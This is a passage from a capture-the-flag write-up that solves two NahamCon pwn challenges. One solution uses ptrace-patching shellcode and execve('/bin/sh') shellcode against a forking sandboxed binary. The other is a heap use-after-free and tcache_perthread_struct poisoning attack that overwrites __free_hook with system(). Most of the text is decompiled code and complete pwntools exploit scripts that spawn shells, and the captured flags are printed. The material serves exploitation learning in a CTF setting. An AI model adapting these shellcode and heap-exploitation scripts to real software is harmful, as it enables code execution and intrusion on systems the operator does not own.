(void (*)(...))location; ((void (*)(void))location)(); goto fail; case 1: puts("How big do you want your memory to be?"); fgets(memory_size_str, 11, stdin); __isoc99_sscanf(memory_size_str, "%lu", &memory_size); puts("What permissions would you like for the memory?"); fgets(test_buffer, 11, stdin); __isoc99_sscanf(test_buffer, "%d", &permissions); fflush(stdin); newMem = (char *)CreateMemory(memory_size, permissions); puts("What do you want to include?"); fgets(newMem, memory_size, stdin); printf("Wrote your buffer at %p\n", newMem); free(buffer); buffer = 0LL; break; case 2: puts("Debug information:"); printf("Child PID = %d\n", (unsigned int)pid); break; } } } } else { buffer = (char *)malloc(0x100uLL); while ( 1 ) { strcpy(test_buffer, "Hello world!\n"); if ( !strncmp(test_buffer, "Give me the flag!", 0x11uLL) ) printf("I will not give you the flag!"); cmp = strncmp(test_buffer, "exit", 4uLL); if ( !cmp ) break; sleep(0x3E8u); } } fail: if ( buffer ) free(buffer); free(memlocation); return 0; } ``` </details> Seccomp-tools Result: ![](https://hackmd.io/_uploads/rkJylu3P2.png) Actually, this challenge has the same binary as the Limited Resource challenge in NahamCon EU CTF 2022. There's a writeup from it by [nobodyisnobody](https://github.com/nobodyisnobody/write-ups/tree/main/NahamCon.EU.CTF.2022/pwn/limited_resources) (Amazing pwner from Water Paddler btw). The program will call a `fork()` function, and this program has three menu for the forked/child process in it: - Menu 1 - Setup Memory: This program will prompt the user to enter the memory size, memory permissions, and data to be stored in the newly created memory area using the `mmap()` function. It will then display the address of the newly created memory area. - Menu 2 - Debug Information: The program will display the process ID of the child. - Menu 3 - Execute Code: The program will prompt the user to enter an address, call the `ProtectProgram()` function, and then call and execute the instructions within it. Meanwhile, in the parent process, the program continuously loops. Then, the program will copy the string 'Hello world!\n' to the `test_buffer` variable and check with the `strncmp()` function whether the `test_buffer` variable is equal to the string 'Give me the flag!'. It concludes with a call to the sleep(1000) function to sleep for approximately 16 minutes (1000 / 60 = 16.66). Our target is to use sys_ptrace POKEDATA to modify instructions of the child process with some `nop`sle., such as the instruction when the program will call the `ProtectProgram()` function with the `call ProtectProgram` instruction. ![](https://hackmd.io/_uploads/B1Z7bt3D3.png) And also to modify the endless loop in the branching part of the parent process, which uses the while(1) function, by modifying the jmp short loc_401869 instruction that comes after the call sleep. ![](https://hackmd.io/_uploads/rJfSZF2Pn.png) <details open><summary>Solver Script:</summary> ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/limited_resources" TARGET = DIR + EXECUTABLE HOST, PORT = "challenge.nahamcon.com", 32181 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][2] cmd = choosen_gdb + """ b *main+0x2e2 set follow-fork-mode child """ gdb.attach(io, gdbscript=cmd) io.sendlineafter(b"Exit\n", b"2") io.recvuntil(b"PID = ") pid = int(io.recvuntil(b"\n", drop=True).decode()) # This shellcode is taken from the writeup by nobodyisnobody orz. ptrace_shellcode = asm(''' looping: mov ebp,%d /* ebp = pid of child */ // ptrace(PTRACE_ATTACH,child,0,0) mov edi,0x10 mov esi,ebp xor edx,edx xor r10,r10 mov eax,101 syscall // wait a bit mov rcx,0xffffffff wait: nop nop loop wait /* patch program to remove jmp after call to sleep() */ /* ptrace(PTRACE_POKEDATA,chid, addr, data */ mov edi,5 mov esi,ebp mov edx,0x4018df mov r10,0xE800402090bf9090 mov eax,101 syscall /* patch program to remove call to protectprogram() */ /* ptrace(PTRACE_POKEDATA,chid, addr, data */ mov edi,5 mov esi,ebp mov edx,0x401aa9 mov r10,0x9090909090000000 mov eax,101 syscall // ptrace(PTRACE_DETACH,child,0,0 mov edi,0x11 mov esi,ebp xor edx,edx xor r10,r10 mov eax,101 syscall loopit: jmp loopit format: .ascii "result = %%llx" .byte 10 ''' % pid) io.sendlineafter(b'Exit\n',b'1') io.sendlineafter(b'?\n', str(0x5000).encode()) io.sendlineafter(b'?\n', str(7).encode()) # READ | WRITE | EXECUTE io.sendlineafter(b'?\n', ptrace_shellcode) io.recvuntil(b"buffer at ") address = int(io.recvuntil(b"\n", drop=True).decode(), 16) print("address :", hex(address)) io.sendlineafter(b'Exit\n',b'3') io.sendlineafter(b'?\n', hex(address).encode()) # === prepare shellcode for: sys_execve("/bin/sh", NULL, NULL) shellcode_execve = asm(''' mov rbx, 0x68732f2f6e69622f xor esi, esi push rsi push rbx mov rdi, rsp xor esi, esi xor edx, edx mov rax, 0x3b syscall ''') io.sendlineafter(b'Exit\n',b'1') io.sendlineafter(b'?\n', str(0x1000).encode()) io.sendlineafter(b'?\n', str(7).encode()) # READ | WRITE | EXECUTE io.sendlineafter(b'?\n', shellcode_execve) io.recvuntil(b"buffer at ") address = int(io.recvuntil(b"\n", drop=True).decode(), 16) print("address :", hex(address)) io.sendlineafter(b'Exit\n',b'3') io.sendlineafter(b'?\n', hex(address).encode()) io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) # libc = ELF("___") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) # libc = ELF("___") exploit(io, libc) ``` </details> P.S: To complete this challenge on the service, it takes about 16 minutes. But since I already modified the binary (I patch the `sleep(1000)` to `sleep(0)`), it will give us a shell imediately. ![](https://hackmd.io/_uploads/HyXmmt2P3.png) **Flag:** flag{fff72b3993166a9a46b7294eabf72715} ## Web Application Firewall Challenge Description: ``` Author: @M_alpha#3534 Well, maybe a different kind of WAF... ``` We're given a binary and a libc file, here's some information about those files: ![](https://hackmd.io/_uploads/BJlTG8Y3wh.png) \*Since my virtual machine has a different version of libc compared to the provided libc version, I patched the given binary first before debugging it. ```bash patchelf --replace-needed libc.so.6 libc-2.27.so waf patchelf --set-interpreter ld-2.27.so waf patchelf --set-rpath . waf ``` <details open><summary>Decompiled Binary</summary> ```c= void setup() { setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); } int menu() { puts("1. Add new configuration."); puts("2. Edit configuration."); puts("3. Print configuration."); puts("4. Remove last added configuration."); puts("5. Print all configurations."); puts("6. Exit"); putchar(10); return printf("> "); } unsigned __int64 __fastcall add_config(__int64 a1) { const char *v1; // rbx char v3; // [rsp+1Bh] [rbp-35h] BYREF int n; // [rsp+1Ch] [rbp-34h] char s[24]; // [rsp+20h] [rbp-30h] BYREF unsigned __int64 v6; // [rsp+38h] [rbp-18h] v6 = __readfsqword(0x28u); printf("What is the id of the config?: "); fgets(s, 16, stdin); *(_DWORD *)a1 = atoi(s); memset(s, 0, 0x10uLL); printf("What is the size of the setting?: "); fgets(s, 16, stdin); n = atoi(s); *(_QWORD *)(a1 + 8) = malloc(n); printf("What is the setting to be added?: "); fgets(*(char **)(a1 + 8), n, stdin); v1 = *(const char **)(a1 + 8); v1[strcspn(v1, "\r\n")] = 0; printf("Should this setting be active? [y/n]: "); __isoc99_scanf(" %c", &v3); getchar(); *(_BYTE *)(a1 + 16) = v3 == 121; puts("\nConfig added.\n"); return v6 - __readfsqword(0x28u); } unsigned __int64 __fastcall edit_config(__int64 a1, int a2) { int *v2; // rbx __int64 v3; // rbx const char *v4; // rbx char v6; // [rsp+1Bh] [rbp-35h] BYREF int n; // [rsp+1Ch] [rbp-34h] char s[24]; // [rsp+20h] [rbp-30h] BYREF unsigned __int64 v9; // [rsp+38h] [rbp-18h] v9 = __readfsqword(0x28u); printf("What is the new ID?: "); fgets(s, 16, stdin); v2 = *(int **)(8LL * a2 + a1); *v2 = atoi(s); memset(s, 0, 0x10uLL); printf("What is the new size of the setting?: "); fgets(s, 16, stdin); n = atoi(s); v3 = *(_QWORD *)(8LL * a2 + a1); *(_QWORD *)(v3 + 8) = realloc(*(void **)(v3 + 8), n); printf("What is the new setting?: "); fgets(*(char **)(*(_QWORD *)(8LL * a2 + a1) + 8LL), n, stdin); v4 = *(const char **)(*(_QWORD *)(8LL * a2 + a1) + 8LL); v4[strcspn(v4, "\r\n")] = 0; printf("Should this be active? [y/n]: "); __isoc99_scanf(" %c", &v6); getchar(); *(_BYTE *)(*(_QWORD *)(8LL * a2 + a1) + 16LL) = v6 == 121; putchar(10); puts("Config Edited."); return v9 - __readfsqword(0x28u); } int __fastcall print_config(__int64 a1, int a2) { putchar(10); printf("ID: %d\n", **(unsigned int **)(8LL * a2 + a1)); printf("Setting: %s\n", *(const char **)(*(_QWORD *)(8LL * a2 + a1) + 8LL)); printf("Is active: %d\n", *(unsigned __int8 *)(*(_QWORD *)(8LL * a2 + a1) + 16LL)); return putchar(10); } int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-124h] int ctr; // [rsp+10h] [rbp-120h] int i; // [rsp+14h] [rbp-11Ch] int j; // [rsp+18h] [rbp-118h] int idx_edit; // [rsp+1Ch] [rbp-114h] int idx_print; // [rsp+1Ch] [rbp-114h] void *chunk_ptr_list[32]; // [rsp+20h] [rbp-110h] BYREF char choose_menu[8]; // [rsp+120h] [rbp-10h] BYREF unsigned __int64 v12; // [rsp+128h] [rbp-8h] v12 = __readfsqword(0x28u); setup(); v4 = 1; memset(chunk_ptr_list, 0, sizeof(chunk_ptr_list)); ctr = 0; puts("Web Application Firewall Configuration.\n"); LABEL_29: while ( v4 ) { menu(); fgets(choose_menu, 8, stdin); switch ( atoi(choose_menu) ) { case 1: if ( ctr > 31 ) { puts("Too many configs. Please delete some before adding more."); } else { chunk_ptr_list[ctr] = malloc(0x18uLL); add_config((__int64)chunk_ptr_list[ctr++]); } goto LABEL_29; case 2: printf("What is the index of the config to edit?: "); fgets(choose_menu, 8, stdin); idx_edit = atoi(choose_menu); if ( idx_edit < 0 || idx_edit > ctr ) goto LABEL_9; edit_config((__int64)chunk_ptr_list, idx_edit); goto LABEL_23; case 3: printf("What is the index of the config to print?: "); fgets(choose_menu, 8, stdin); idx_print = atoi(choose_menu); if ( idx_print < 0 || idx_print > ctr ) LABEL_9: puts("Invalid index."); else print_config((__int64)chunk_ptr_list, idx_print); goto LABEL_23; case 4: if ( ctr ) { free(*((void **)chunk_ptr_list[ctr - 1] + 1)); free(chunk_ptr_list[ctr - 1]); puts("Last config removed."); --ctr; } else { puts("There are no configs to remove."); } goto LABEL_23; case 5: if ( ctr ) { for ( i = 0; i < ctr; ++i ) { putchar(10); printf("ID: %d\n", *(unsigned int *)chunk_ptr_list[i]); printf("Setting: %s\n", *((const char **)chunk_ptr_list[i] + 1)); printf("Is active: %d\n", *((unsigned __int8 *)chunk_ptr_list[i] + 16)); } } else { puts("There are no configs. Please add one."); } LABEL_23: putchar(10); break; case 6: v4 = 0; for ( j = 0; j < ctr; ++j ) { free(*((void **)chunk_ptr_list[j] + 1)); free(chunk_ptr_list[j]); } ctr = 0; break; default: puts("Invalid choice."); break; } } return 0; } ``` </details> Based on the above decompiled code, the program has 6 menus that I will explain for each of them. - Menu 1 - Add Config The program will call `malloc()` and allocate a `0x18` sized heap chunk (Will be 0x20 after the allocation), this chunk will be used as metadata of a "config". After that, it will call the `add_config()` function. And the program will prompt the user to input a config id, config size, and active status. The config will be stored in the `chunk_ptr_list` variable, which will be saved at an index corresponding to the value of the `ctr` variable. The config size that the user has input earlier will be used to allocate a new heap chunk to store config data. The metadata config chunk will store the config id, the pointer to a config data heap chunk, along with the config's active status. The config chunk will be looks like this. ![](https://hackmd.io/_uploads/B1xjpbTP3.png) - Menu 2 - Edit Config The program will ask the user to input an index for which “config” the user wants to edit and it does some checks to prevent Out Of Bound `(idx < 0 || idx_edit > ctr)`. It calls the `edit_config()` function and passes the `chunk_ptr_list` variable and inputted index as its arguments. The program will ask the user to input a new config id, new config size, new config data, and the config active status. The new config size will be used as an argument to call `realloc(pointer_to_config_data, new_size)` and as an argument to retrieve new config data from the user using `fgets(..., new_size, stdin)`. - Menu 3 - Print Config The program will ask the user to input an index for which "config" the user want to view/print, it also does some checks to prevent Out Of Bound `(idx < 0 || idx_edit > ctr)`. And it will print the config data using the `print_config()` function. - Menu 4 - Remove the Last Added Config, it will delete the last config data (pointed by "Pointer to config Data") and also delete the config metadata using the `free()` function. It will free the config data first, then the config metadata. Because the program doesn't nullified or null the pointer to heap, it will cause a Use After Free vulnerability. - Menu 5 - Print All Config, the program will print the contents of all the chunks (limited by the `ctr` variable) in chunk_ptr_list. - Menu 6 - Exit, the program will call `free()` to delete all the configuration stored inside the `chunk_ptr_list` variable, then it will break the loop, so the program will exit normally. I created the following functions, which will be used to help us solve this challenge. ```python=29 def create(idx, size=0x18, data=b"", status="y"): io.sendlineafter(b"> ", b"1") io.sendlineafter(b": ", str(idx).encode()) io.sendlineafter(b": ", str(size).encode()) if size >= 1: io.sendlineafter(b": ", data) io.sendlineafter(b"]: ", status.encode()) print("CREATED @"+str(idx)) def edit(chunk_idx, config_idx, size=0x18, data=b"", status="y"): io.sendlineafter(b"> ", b"2") io.sendlineafter(b": ", str(chunk_idx).encode()) io.sendlineafter(b": ", str(config_idx).encode()) io.sendlineafter(b": ", str(size).encode()) io.sendlineafter(b": ", data) io.sendlineafter(b": ", status.encode()) print("EDITED @"+str(o_idx),"=>",n_idx) def view(idx): io.sendlineafter(b"> ", b"3") io.sendlineafter(b": ", str(idx).encode()) io.recvuntil(b"ID: ") resp_id = io.recvuntil(b"\n", drop=True) io.recvuntil(b"Setting: ") resp_setting = io.recvuntil(b"\n", drop=True) io.recvuntil(b"active: ") resp_status = io.recvuntil(b"\n", drop=True) print("@"+str(idx), "=", [resp_id, resp_setting, resp_status]) return [resp_id, resp_setting, resp_status] def delete_last(): io.sendlineafter(b"> ", b"4") print("DELETED THE LAST INDEX") ``` First, I added two new configs. The first one (idx: 0, let's call it as `CONFIG_0`) with the Unsorted Bin-sized chunk, and the second one (idx: 1, let's call it as `CONFIG_1`) will be used to prevent the Unsorted Bin chunk to consolidate with wilderness (top chunk). ```python create(0xdead, 0x420-8, b"AAAAAAAA UNSORTED BIN SIZED CHUNK") # 0 create(0xbeef , 0x80-8, b"BBBBBBBB PREVENT TOP CHUNK CONSOLIDATE") # 1 ``` ![](https://hackmd.io/_uploads/ByrzCfpP3.png) Next, I'll delete those two chunks using "Delete the last added config" menu. ```python delete_last() # delete: 1 delete_last() # delete: 0 ``` ![](https://hackmd.io/_uploads/rkbUkmTw3.png) As you can see, the CONFIG_0_DATA is containing a libc address, since the size of the chunk is within the range of the unsorted bin size. After that, I tried to leak `CONFIG_0_CHUNK` using the "Print Data" menu. It's possible to do because the config that I'm trying to leak is not larger than the value of the `ctr` variable. ```python resp = view(0) LEAKED_HEAP = int(resp[0].decode()) HEAP_BASE = LEAKED_HEAP & ~0xFFF HEAP_CHUNK0 = HEAP_BASE + 0x260 print("LEAKED_HEAP :", hex(LEAKED_HEAP)) print("HEAP_BASE :", hex(HEAP_BASE)) print("HEAP_CHUNK0 :", hex(HEAP_CHUNK0)) ``` ![](https://hackmd.io/_uploads/SJopBXpD3.png) Since the tcachebins `0x20` sized is looks like this: ![](https://hackmd.io/_uploads/rkMbf7Twh.png) I added a new config chunk, with 0x20 as the size and view the config with index 1. So when the program calls `malloc()` (after allocating the "config" metadata) it will return the same address as `CONFIG_1_METADATA` chunk. So I can take control of where the `CONFIG_1_DATA` points to by editing `CONFIG_0_DATA`. I point it to `HEAP_BASE+0x280` where the libc address is located at. It will look like this. ![](https://hackmd.io/_uploads/S1tM8XpPn.png) ```python create(0x1337, 0x18, b"A"*8+p64(HEAP_BASE+0x280)) # 0 resp = view(1) LEAKED_LIBC = u64(resp[1].ljust(8, b"\x00")) libc.address = LEAKED_LIBC - libc.symbols["__malloc_hook"] & ~0xFFF print("LEAKED_LIBC :", hex(LEAKED_LIBC)) print("libc.address :", hex(libc.address)) delete_last() # idx: 0 (free it again, for the next step) ``` ![](https://hackmd.io/_uploads/HkprYQawh.png) The next step is where the fun begin. Now let's take a look at a layout of `CONFIG_0_METADATA` from the image below. ![](https://hackmd.io/_uploads/rkDcFQ6wn.png) After the free, the Pointer to Config Data that stored in `CONFIG_0_METADATA` is pointing at `HEAP_BASE+0x10`. Do you know what chunk is that? it's a tcache_perthread_struct. You can read more about tcache_perthread_struct from [Zafirr's articles](https://zafirr31.github.io/posts/imaginary-ctf-2022-zookeeper-writeup/). In short, tcache_perthread_struct contains a counter for the number of available (already freed) tcachebin chunks and stores the address entries for each tcachebin size. Let's examine the tcache_perthread_struct in our case. ![](https://hackmd.io/_uploads/ryfchXpwn.png) As seen in the above image, at the marked address (Address: 0x01e9a6c0), it is evident that tcache_perthread_struct indeed stores the address entries of the tcachebin that have been freed (Compare it with tcachebins[..., size=x80] from the `heap bins` output). So now we know what our target is. Our target is to overwrite the counts (to be greater than 0) and the address entries with the address of `__free_hook` for a specific tcachebin size. So, when we add a new "config" with the corresponding size of the count and the overwritten entries, it will end up allocating at the targeted address (in this case, the address of `__free_hook`). We can do it by using the Edit Config menu, since the program will call `realloc()` (it will perform like calls `free()` then calls `malloc()`). Then, create a new configuration with the address of the `system()` function as its data (it will overwrite the `__free_hook`). So, whenever the `free()` is called it will trigger the `system()` function. <details open><summary>Solver Script:</summary> ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/waf" TARGET = DIR + EXECUTABLE HOST, PORT = "challenge.nahamcon.com", 31220 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def create(idx, size=0x18, data=b"", status="y"): io.sendlineafter(b"> ", b"1") io.sendlineafter(b": ", str(idx).encode()) io.sendlineafter(b": ", str(size).encode()) if size >= 1: io.sendlineafter(b": ", data) io.sendlineafter(b"]: ", status.encode()) print("CREATED @"+str(idx)) def edit(chunk_idx, config_idx, size=0x18, data=b"", status="y"): io.sendlineafter(b"> ", b"2") io.sendlineafter(b": ", str(chunk_idx).encode()) io.sendlineafter(b": ", str(config_idx).encode()) io.sendlineafter(b": ", str(size).encode()) io.sendlineafter(b": ", data) io.sendlineafter(b": ", status.encode()) print("EDITED @"+str(chunk_idx),"=>",config_idx) def view(idx): io.sendlineafter(b"> ", b"3") io.sendlineafter(b": ", str(idx).encode()) io.recvuntil(b"ID: ") resp_id = io.recvuntil(b"\n", drop=True) io.recvuntil(b"Setting: ") resp_setting = io.recvuntil(b"\n", drop=True) io.recvuntil(b"active: ") resp_status = io.recvuntil(b"\n", drop=True) print("@"+str(idx), "=", [resp_id, resp_setting, resp_status]) return [resp_id, resp_setting, resp_status] def delete_last(): io.sendlineafter(b"> ", b"4") print("DELETED THE LAST INDEX") def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][2] cmd = choosen_gdb + """ # b *main+0x251 b *edit_config+0xfa # b *add_config+0xad """ gdb.attach(io, gdbscript=cmd) create(0xdead, 0x420-8, b"AAAAAAAA UNSORTED BIN SIZED CHUNK") # 0 create(0xbeef , 0x80-8, b"BBBBBBBB PREVENT TOP CHUNK CONSOLIDATE") # 1 # =========================== delete_last() # delete: 1 delete_last() # delete: 0 # =========================== resp = view(0) LEAKED_HEAP = int(resp[0].decode()) HEAP_BASE = LEAKED_HEAP & ~0xFFF HEAP_CHUNK0 = HEAP_BASE + 0x260 print("LEAKED_HEAP :", hex(LEAKED_HEAP)) print("HEAP_BASE :", hex(HEAP_BASE)) print("HEAP_CHUNK0 :", hex(HEAP_CHUNK0)) # =========================== create(0x1337, 0x18, b"A"*8+p64(HEAP_BASE+0x280)) # 0 resp = view(1) LEAKED_LIBC = u64(resp[1].ljust(8, b"\x00")) libc.address = LEAKED_LIBC - libc.symbols["__malloc_hook"] & ~0xFFF print("LEAKED_LIBC :", hex(LEAKED_LIBC)) print("libc.address :", hex(libc.address)) delete_last() # =========================== p = b"" # === counts[TCACHE_MAX_BINS] p += p64(0x0000000000000100) + p64(0x0000000000000000) p += p64(0x0000000000000000) + p64(0x0000000000000000) p += p64(0x0000000000000000) + p64(0x0000000000000000) p += p64(0x0000000000000000) + p64(0x0000000000000000) # === entries[TCACHE_MAX_BINS] = struct tcache_entry # tcache_entry 0x20 + tcache_entry 0x30 p += p64(0x0) + p64(libc.symbols["__free_hook"]) # poison the fd pointer of tcachebins 0x30 # # tcache_entry 0x40 + tcache_entry 0x50 # p += p64(0) + p64(0) # # tcache_entry 0x60 + tcache_entry 0x70 # p += p64(0) + p64(0) # # tcache_entry 0x80 + tcache_entry 0x90 # p += p64(0) + p64(0) # # tcache_entry 0xa0 + tcache_entry 0xb0 # p += p64(0) + p64(0) # # tcache_entry 0xc0 + tcache_entry 0xd0 # p += p64(0) + p64(0) # # tcache_entry 0xe0 + tcache_entry 0xf0 # p += p64(0) + p64(0) # # tcache_entry 0x100 + tcache_entry 0x110 # p += p64(0) + p64(0) # # tcache_entry ... + tcache_entry ... edit(0, 0xdeadbeef, 0x250-8, p) # =========================== # create "sh", for spawning shell when free() is called create(u32(b"sh;\x00"), 0x30-8, p64(libc.symbols["system"])) # trigger shell, by free-ing all "config" io.sendlineafter(b"> ", b"6") io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) libc = ELF("libc-2.27.so") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) libc = ELF("libc-2.27.so") exploit(io, libc) ``` </details> ![](https://hackmd.io/_uploads/By28zNTP3.png) **Flag**: flag{dc75c408f5ba2fbc72b307987dddc775}